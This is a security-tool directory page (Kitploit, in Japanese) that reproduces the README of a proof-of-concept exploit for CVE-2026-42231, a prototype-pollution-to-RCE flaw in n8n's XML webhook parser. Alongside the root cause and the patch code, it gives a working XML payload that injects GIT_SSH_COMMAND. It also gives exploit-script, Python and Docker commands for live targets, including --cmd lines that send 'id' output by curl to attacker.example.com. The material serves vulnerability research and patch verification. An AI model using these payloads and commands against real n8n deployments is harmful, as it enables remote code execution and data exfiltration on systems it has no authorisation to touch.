Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42231 — CVE-2026-42231の概念実証エクスプロイト。n8n XMLウェブフックにおける重大なプロトタイプ汚染の脆弱性であり、リモートコード実行につながります。Dockerラボ、Python PoC、Node.js検証ツールが含まれています。 | Kitploit
ツール/GitHubGitHub/rudsarkar/cve-2026-42231
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

CVE-2026-42231の概念実証エクスプロイト。n8n XMLウェブフックにおける重大なプロトタイプ汚染の脆弱性であり、リモートコード実行につながります。Dockerラボ、Python PoC、Node.js検証ツールが含まれています。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook プロトタイプ汚染 → RCE

CVE: CVE-2026-42231
深刻度: Critical (CVSS 10.0)
影響を受けるバージョン: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
修正済みバージョン: n8n 1.123.32 / 2.17.4 / 2.18.1


脆弱性の概要

packages/cli/src/middlewares/body-parser.ts は、tagNameProcessors や attrNameProcessors を指定せずにモジュールレベルのシングルトン xml2js Parser を作成します。これにより、攻撃者は <__proto__> 要素を 含む XML Webhook ボディを送信できます。

xml2js 0.6.2 は Object.defineProperty をデータ記述子とともに使用して、 パースされたオブジェクトに要素キーを設定します。'__proto__' in obj は常に であるため、 は値を配列にラップし、それを として保存します — 通常であれば プロトタイプチェーンを安全に更新する アクセサをバイパスします。

true
assignOrPush()
独自の列挙可能なデータプロパティ
[[Set]]

独自の __proto__ プロパティは JSON.stringify(n8n が実行データを SQLite/PostgreSQL に永続化する際に実行)を生き延び、リロード時の JSON.parse 後に続く Object.assign(target, reloadedBody) が target のプロトタイプを攻撃者が制御するオブジェクトに再ルーティングします。

SSH 操作を実行する Git ノードも含むワークフローでは、汚染された プロトタイプが spawnOptions / GIT_SSH_COMMAND 値を simple-git の createInstanceConfig に公開し、OS レベルのコマンド実行を 可能にします。


根本原因

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // lowercases tags — but does NOT block __proto__
    explicitArray: false,
    // ← NO tagNameProcessors
    // ← NO attrNameProcessors
});

修正 (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

攻撃チェーン

root@kitploit:~
1. 攻撃者は公開 Webhook トリガーに XML POST を送信します:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js ボディパーサーは req.body.root を作成します。ここで '__proto__' は
   独自の列挙可能なデータプロパティです:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n の deepCopy() は for...in + hasOwnProp を使用して独自キーを反復処理します。
   代入  clone['__proto__'] = deepCopy(attackerArray)  は
   [[Set]] アクセサを介して clone のプロトタイプを静かに置き換えます。

4. n8n は実行データを DB にシリアライズします:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ キーは独自かつ列挙可能であるため含まれます。
   SQLite の execution_data テーブルで確認済みです。

5. リロード時、JSON.parse は '__proto__' を独自のデータプロパティとして
   再作成します(プレーンオブジェクト、配列ラップなし)。
      Object.assign(gitOptions, reloadedBody)
   は gitOptions のプロトタイプを攻撃者が制御するオブジェクトに再ルーティングします。

6. Git ノードが simpleGit(gitOptions) を呼び出すと:
      createInstanceConfig(gitOptions)
   はプロトタイプチェーンを介して config.spawnOptions を読み取り → truthy →
   spawnOptionsPlugin が登録されます。
   env オブジェクトに GIT_SSH_COMMAND がある場合、git は次の SSH 操作で
   攻撃者のコマンドを実行します。

normalizeTags に関する注意

normalizeTags: true はすべての XML タグ名を小文字化するため、 <GIT_SSH_COMMAND> のような子要素はパースされたオブジェクトで git_ssh_command になります。環境変数名の大文字小文字を保持するには、 XML 属性を使用してください(属性名は normalizeTags によって 正規化されません):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

前提条件

  1. 公開 Webhook トリガー(認証 = なし、Content-Type = XML)が アクティブなワークフローに存在する必要があります。
  2. 完全な RCE パスには、ワークフローに SSH 認証付き操作(SSH URL 経由の clone / push)を実行する Git ノードも含まれている必要があります。
  3. n8n バージョン < 1.123.32。

ラボ環境のセットアップ

要件

  • Docker ≥ 24(Compose v2 対応)
  • Python 3.9+(Docker なしで PoC を単独使用する場合)
  • ローカルホストのポート 5678 が空いていること

ワンコマンドセットアップ

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

これにより n8nio/n8n:1.123.22(最後に影響を受けるリリース)をプルし、 攻撃者イメージをビルドし、http://localhost:5678 で脆弱なターゲットを 起動し、Webhook ワークフローを自動的に作成・アクティブ化し、Webhook URL を .webhook_state に保存します。


エンドツーエンドのエクスプロイト手順

1. セットアップ

root@kitploit:~
./exploit.sh setup

期待される出力(省略):

root@kitploit:~
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.

    Run:  ./exploit.sh demo        # verify the pollution primitive
          ./exploit.sh exploit     # deliver all three RCE payloads

2. 汚染プリミティブの検証(デモモード)

root@kitploit:~
./exploit.sh demo

PoC は検証ペイロードを送信し、n8n ワークフローからエコーバックされた パース済みボディを表示します。脆弱なインスタンスは以下を返します:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. RCE 意図のペイロードの配信

root@kitploit:~
./exploit.sh exploit
# またはカスタムコマンドで:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

3 つの補完的なペイロードが配信されます:

ペイロード手法
A<__proto__> タグ — GIT_SSH_COMMAND を XML 属性として使用
B<constructor><prototype> チェーン
Cenv 属性を持つネストされた <__proto__>

4. 結果の確認(ワークフローに Git ノードがある場合)

  • n8n の実行ログで、git コマンドのエラーを探してください — RCE が発火した場合、 注入した GIT_SSH_COMMAND の出力が含まれます。
  • Code ノードを使用したデモモードでは、ワークフローのレスポンスボディに チェーンを確認する "step4_objectAssignPolluted": true が含まれます。

スタンドアロン使用(Docker なし)

root@kitploit:~
pip install -r requirements.txt

# 検証のみ — Git ノードは不要:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# 完全なエクスプロイト — Webhook + Git/SSH ノードワークフローが必要:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Webhook URL 形式(n8n v1.123.x)

一部のデプロイメントでは、n8n は Webhook を /webhook/<workflowId>/webhook/<path> として登録します。短い形式 /webhook/<path> が 404 を返す場合は、ワークフロー ID プレフィックスを --target として渡してください:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

ローカル検証(Node.js、ライブインスタンス不要)

n8n が使用する正確な xml2js パーサー設定を再現し、4 つのチェーン ステージすべてを順に実行します:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

脆弱な設定での期待される出力:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

手動 Docker コマンド

root@kitploit:~
# 攻撃者イメージのビルド
docker build -t n8n-proto-pollution-poc .

# デモモード(共有ラボネットワークに接続)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# 完全なエクスプロイト
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# 外部ターゲットに対して(ネットワークフラグ不要)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

クリーンアップ

root@kitploit:~
./exploit.sh clean

コンテナを停止し、ボリューム(SQLite データベースを含む)を削除します。


ファイル

ファイル説明
poc_GHSA-q5f4-99jv-pgg5.pyスタンドアロン Python HTTP PoC — 3 つの XML ペイロードバリアント、--demo および --cmd モード
verify_GHSA-q5f4-99jv-pgg5.jsNode.js ローカルチェーン検証ツール — ライブインスタンスなしで 4 つのエクスプロイトステージすべてを実行
Dockerfile攻撃者コンテナイメージ
docker-compose.yml完全なラボ: 脆弱な n8n + 攻撃者コンテナ
exploit.shセットアップ、デモ、エクスプロイト、クリーンアップ用のヘルパースクリプト
requirements.txtPython 依存関係

参考情報

  • GHSA-q5f4-99jv-pgg5
  • n8n release 1.123.32 changelog
  • xml2js assignOrPush — Object.defineProperty data descriptor
  • Prototype Pollution via Object.defineProperty
ツールをダウンロード